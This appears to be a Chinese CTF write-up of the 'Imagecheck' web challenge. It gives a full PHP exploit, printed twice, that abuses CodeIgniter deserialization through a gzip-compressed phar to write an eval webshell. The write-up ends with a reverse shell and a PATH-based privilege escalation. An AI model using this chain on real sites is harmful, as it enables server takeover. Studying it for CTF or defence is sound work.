Web

Imagecheck

md,这是拿着0day出题吗

ci框架的审计,通过反序列化可以写shell

image-20210824181752409

通过gzip可以绕过phar的关键词检测

image-20210824181818339

最终exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php

namespace CodeIgniter\Cache\Handlers {
class RedisHandler
{
public $redis;
public function __construct($redis)
{
$this->redis = $redis;
}
}
}

namespace CodeIgniter\Session\Handlers {

class RedisHandler
{
public $redis;
public $logger;
public function __construct()
{
$this->redis = new \Redis();
$this->logger = new \CodeIgniter\Log\Logger([]);
}
}

}

namespace CodeIgniter\Log {

class Logger
{
public $handlerConfig = array("CodeIgniter\Log\Handlers\FileHandler" => ["path"=>"/var/www/html/public/uploads/","fileExtension"=>"1.php","filePermissions"=>777,"handles"=>["error"]]);
public $handlers = ["error"];
public $loggableLevels = ['error'];
public $dateFormat = "<?p\hp \\e\\v\a\l\(\$\_\P\O\S\T\[\a\]\)\; \?\>";

}
}

namespace CodeIgniter{
class BaseModel{
public $db;
public function __construct()
{
$this->db = new \CodeIgniter\Session\Handlers\RedisHandler();
}
}
}

namespace {
class Redis{


}
$a = new CodeIgniter\Cache\Handlers\RedisHandler(new \CodeIgniter\Session\Handlers\RedisHandler());
echo serialize($a);
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}

全局搜索__destruct,能发现三个地方,可以看到RedisHandler这个点中的$this->redis我们可以任意控制,比较方便,就从这下手

image-20210824180507674

全局搜索close方法,可以看到CodeIgniter\Session\Handlers\RedisHandler的close方法中有一个log,猜测可能存在写文件的功能,全局搜索logger或者error方法

image-20210824180701721

CodeIgniter\Log\Logger找到一个看着比较靠谱的,跟进log方法

image-20210824180922050

log方法中看到这一行,应该是存入日志,继续搜搜handle方法

image-20210824181053984

这里有一个完美的写文件的地方,文件路径和文件名我们可以随意控制

image-20210824181137619

文件内容我们可以从这里控制,又是一个小trick,我们可以通过反斜杠控制date函数的输出,使其输出成我们的一句话木马

1
echo date('<?p\hp \e\v\a\l\(\$\_\P\O\S\T\[\a\]\)\; \?\>');

image-20210824181231999

利用链很明确了,构造exp即可

先令CodeIgniter\Cache\Handlers\RedisHandler中的$this->redisCodeIgniter\Session\Handlers\RedisHandler,进入触发日志记录的close方法

要想触发日志记录,必须抛出RedisException异常,一开始我并不知道Redis是php的内置类,vscode也没有提示我,后来才知道必须要装扩展才能使用

在这里我们可以先自己定义一个空的Redis类,这样生成payload的时候不会报错,在服务器上也能正常执行

image-20210824181532387

定义一个redis类

image-20210824181710125

之后将$this->logger赋值成logger类,以触发error方法

image-20210824182010264

先赋值一下这里,令$this->loggableLevels=['error']

image-20210824182510236

在logger类中,写文件的handle方法依赖于CodeIgniter\Log\Handlers\FileHandler类,FileHandler类的实例化和配置参数是通过handlerConfig控制的,因此我们需要构造一下handlerConfig

image-20210824182158982

为了避开这里,我们需要把后缀写成这样

image-20210824182630071

image-20210824182547953

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php

namespace CodeIgniter\Cache\Handlers {
class RedisHandler
{
public $redis;
public function __construct($redis)
{
$this->redis = $redis;
}
}
}

namespace CodeIgniter\Session\Handlers {

class RedisHandler
{
public $redis;
public $logger;
public function __construct()
{
$this->redis = new \Redis();
$this->logger = new \CodeIgniter\Log\Logger([]);
}
}

}

namespace CodeIgniter\Log {

class Logger
{
public $handlerConfig = array("CodeIgniter\Log\Handlers\FileHandler" => ["path"=>"/var/www/html/public/uploads/","fileExtension"=>"1.php","filePermissions"=>777,"handles"=>["error"]]);
public $loggableLevels = ['error'];
public $dateFormat = "<?p\hp \\e\\v\a\l\(\$\_\P\O\S\T\[\a\]\)\; \?\>";

}
}

namespace CodeIgniter{
class BaseModel{
public $db;
public function __construct()
{
$this->db = new \CodeIgniter\Session\Handlers\RedisHandler();
}
}
}

namespace {
class Redis{
}

$a = new CodeIgniter\Cache\Handlers\RedisHandler(new \CodeIgniter\Session\Handlers\RedisHandler());
echo serialize($a);
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();


}

生成phar后,使用gzip压缩,避免关键词检测

image-20210824182732664

上传,触发

image-20210824182754498

image-20210824182922493

image-20210824182937336

反弹shell后利用环境变量提权,/readflag似乎是执行了ls命令,于是就替换下ls

image-20210824183116385

image-20210824175131771